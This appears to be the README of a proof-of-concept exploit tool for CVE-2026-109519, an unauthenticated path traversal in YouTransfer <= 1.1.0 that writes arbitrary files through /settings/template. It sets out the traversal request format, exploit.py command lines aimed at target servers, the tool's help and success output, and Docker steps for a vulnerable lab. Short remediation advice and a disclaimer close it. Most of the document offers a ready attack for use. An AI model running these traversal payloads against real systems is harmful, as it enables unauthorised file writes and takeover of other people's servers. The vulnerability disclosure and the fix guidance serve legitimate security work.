
Python PoC exploit for CVE-2026-109519, an unauthenticated path traversal in YouTransfer <= 1.1.0 that writes arbitrary files via /settings/template, with write verification.
Arbitrary File Write via Path Traversal in YouTransfer
/settings/template
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-109519 |
| VulDB ID | 417175 |
| Product | YouTransfer |
| Affected Version | <= 1.1.0 |
| Type | Path Traversal / Arbitrary File Write |
| Attack Vector | Network (unauthenticated) |
| CVSS Score | 8.3 — High |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L |
| CWE | CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) |
| Author | @0xgh0stri13y |
YouTransfer exposes an unauthenticated /settings/template endpoint that allows writing template files to disk. The template parameter is passed directly to the filesystem without any sanitisation of path traversal sequences (../).
An attacker can abuse this to write arbitrary content to any path accessible by the application process, escaping the intended templates directory entirely.
POST /settings/template
template=../../../arbitrary/path/file.txt ← no path validation
body=ATTACKER_CONTROLLED_CONTENT ← no content filtering
The application trusts the template parameter as a relative path and writes the body content to that location without:
../ sequencespath.resolve() or similar safeguards┌─────────────────────────┐
│ Attacker │
└────────┬────────────────┘
│
│ POST /settings/template
│ template = ../../../target/path/file.ext
│ body = <attacker-controlled content>
│
▼
┌─────────────────────────┐
│ YouTransfer Server │
│ (No auth required) │
│ │
│ path.join(templateDir, │
│ "../../../target/..") │
│ │
│ Writes content to disk │
│ OUTSIDE templates dir │
└─────────────────────────┘
│
▼
File written to arbitrary
location on the server
# Write a proof-of-concept file to demonstrate path traversal
python exploit.py -t http://target:5000
# Write to a custom path outside the templates directory
python exploit.py -t http://target:5000 -p "../../../tmp/pwned.txt" -b "CVE-2026-109519 PoC"
# Verify with a benign canary file
python exploit.py -t http://target:5000 -p "../views/pages/canary.html" -b "<h1>Path Traversal PoC</h1>"
$ python exploit.py --help
usage: exploit.py [-h] -t TARGET [-p TEMPLATE_PATH] [-b BODY] [--timeout TIMEOUT] [--verify]
CVE-2026-109519 — YouTransfer <= 1.1.0 — Unauthenticated Path Traversal (Arbitrary File Write)
options:
-h, --help show this help message and exit
-t, --target TARGET YouTransfer base URL (e.g. http://victim:5000)
-p, --template-path TEMPLATE_PATH
Traversal path for the template parameter
(default: ../poc_pathtraversal.txt)
-b, --body BODY Content to write to the file
(default: CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y)
--timeout TIMEOUT HTTP timeout in seconds (default: 15)
--verify Attempt to verify the write via GET request
┌─────────────────────────────────────────────────┐
│ CVE-2026-109519 PoC Exploit │
│ YouTransfer <= 1.1.0 Path Traversal (CWE-22) │
└─────────────────────────────────────────────────┘
Unauthenticated Arbitrary File Write
github.com/0xgh0stri13y
[*] Target : http://target:5000
[*] Path : ../poc_pathtraversal.txt
────────────────────────────────────────────────────────
[*] Checking target: http://target:5000
[+] Target is alive and running YouTransfer
[*] Sending path traversal payload via POST /settings/template
[*] template = ../poc_pathtraversal.txt
[*] body = CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y
[+] Payload delivered successfully (HTTP 200, no auth required)
[*] Verifying file write...
[+] Verification successful — file content matches payload ✓
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Path traversal confirmed — arbitrary file write verified
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Exploit completed successfully — Path Traversal confirmed ✓
Spin up a vulnerable instance using Docker:
docker pull remie/youtransfer:stable
docker run -d -p 5000:5000 --name youtransfer-vuln remie/youtransfer:stable
Then run the exploit:
python exploit.py -t http://127.0.0.1:5000 --verify
/settings/template endpoint — require a valid admin session.template path — reject or strip ../ sequences; use path.resolve() and verify the resolved path stays within the intended templates directory.This tool and the information provided are for authorised security research and educational purposes only. Use of this exploit against systems without explicit written permission from the owner is illegal and unethical. The author is not responsible for any misuse or damage caused by this tool.